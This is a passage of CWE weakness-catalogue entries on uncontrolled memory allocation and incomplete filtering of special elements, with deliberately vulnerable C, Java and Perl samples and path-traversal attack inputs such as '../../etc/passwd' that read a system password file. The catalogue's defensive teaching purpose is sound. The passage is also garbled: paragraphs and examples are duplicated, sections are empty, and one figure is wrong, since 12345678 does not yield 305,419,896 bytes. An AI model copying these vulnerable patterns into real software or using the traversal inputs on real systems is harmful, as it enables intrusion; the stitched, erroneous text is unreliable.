The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Language-Independent (Prevalence = Undetermined)

## Alternate Terms

**Stack Exhaustion** : When a weakness allocates excessive memory on the stack, it is often described as "stack exhaustion," which is a technical impact of the weakness. This technical impact is often encountered as a consequence of CWE-789 and/or CWE-1325.

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Memory)	
	<i>Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.</i>	

### Potential Mitigations

#### Phase: Implementation

#### Phase: Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

#### Phase: Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

### Demonstrative Examples

#### Example 1:

Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

*Example Language: C*

*(bad)*

```
unsigned int size = GetUntrustedInt();
/* ignore integer overflow (CWE-190) for this example */
unsigned int totBytes = size * sizeof(char);
char *string = (char *)malloc(totBytes);
InitializeString(string);
```

Suppose an attacker provides a size value of:

12345678

This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

#### Example 2:

Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

*Example Language: Java*

*(bad)*

```
unsigned int size = GetUntrustedInt();
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

#### Example 3:

This code performs a stack allocation based on a length calculation.

*Example Language: C*

*(bad)*

```
int a = 5, b = 6;
size_t len = a - b;
char buf[len]; // Just blows up the stack
}
```

Since `a` and `b` are declared as signed ints, the "`a - b`" subtraction gives a negative result (-1). However, since `len` is declared to be unsigned, `len` is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer `buf[len]` declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.

Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.

#### Example 4:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.

*Example Language: C*

*(bad)*

```
int proc_msg(char *s, int msg_len)
{
    // Note space at the end of the string - assume all strings have preamble with space
    int pre_len = sizeof("preamble: ");
    char buf[pre_len - msg_len];
    ... Do processing here if we get this far
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

#### Example 5:

The following code obtains an untrusted number that is used as an index into an array of messages.

*Example Language: Perl*

*(bad)*

```
my $num = GetUntrustedNumber();
my @messages = ();
$messages[$num] = "Hello World";
```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in `@messages` that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works.

If `$num` is a large value such as 2147483648 ( $1 \ll 31$ ), then the assignment to `$messages[$num]` would attempt to create a very large array, then eventually produce an error message such as:

Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

#### Example 6:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action. The buffer length ends up being -1 resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

Example Language: C

(bad)

```
int proc_msg(char *s, int msg_len)
{
    int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
    char buf[pre_len - msg_len];
    ... Do processing here and set status
    return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

Example Language: C

(good)

```
int proc_msg(char *s, int msg_len)
{
    int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
    if (pre_len <= msg_len) { // Log error; return error_code; }
    char buf[pre_len - msg_len];
    ... Do processing here and set status
    return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

MemberOf	C	1308	CISQ Quality Measures - Security	1305	2148

## Notes

### Relationship

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

### Applicable Platform

Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.

## CWE-790: Improper Filtering of Special Elements

<b>Weakness ID</b> : 790	<b>Status</b> : Incomplete
<b>Structure</b> : Simple

### Common Consequences

Scope	Impact	Likelihood

### Demonstrative Examples

#### Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Example Language:*

*(attack)*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:*

*(result)*

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:*

*(result)*

```
/home/user/../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

## CWE-792: Incomplete Filtering of One or More Instances of Special Elements

**Weakness ID :** 792

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The software receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.

### Extended Description

Incomplete filtering of this nature involves either:

- only filtering a single instance of a special element when more exist, or
- not filtering all instances or all elements where multiple special elements exist.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		791	Incomplete Filtering of Special Elements	1506
ParentOf		793	Only Filtering One Instance of a Special Element	1509
ParentOf		794	Incomplete Filtering of Multiple Instances of Special Elements	1510

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2096

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(attack)

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(result)

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(result)

```
/home/user/../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

## CWE-793: Only Filtering One Instance of a Special Element

**Weakness ID :** 793

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The software receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.

### Extended Description

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

**Weakness ID :** 794

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The software receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

### Extended Description

Incomplete filtering of this nature may be applied to:

- sequential elements (special elements that appear next to each other) or
- non-sequential elements (special elements that appear multiple times in different locations).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-795: Only Filtering Special Elements at a Specified Location

**Weakness ID :** 795

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.

## Extended Description

A filter might only account for instances of special elements when they occur:

- relative to a marker (e.g. "at the beginning/end of string; the second argument"), or
- at an absolute position (e.g. "byte number 10").

This may leave special elements in the data that did not match the filter position, but still may be dangerous.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Demonstrative Examples

### Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

*Example Language:*

*(attack)*

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:* *(result)*

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:* *(result)*

```
/home/user/../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

### Example 2:

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl* *(bad)*

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
    $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

*Example Language:* *(attack)*

```
../../etc/passwd
```

will have the first "../" filtered, resulting in:

*Example Language:* *(result)*

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:* *(result)*

```
/home/user/../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

## CWE-796: Only Filtering Special Elements Relative to a Marker

**Weakness ID :** 796

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The software receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness.
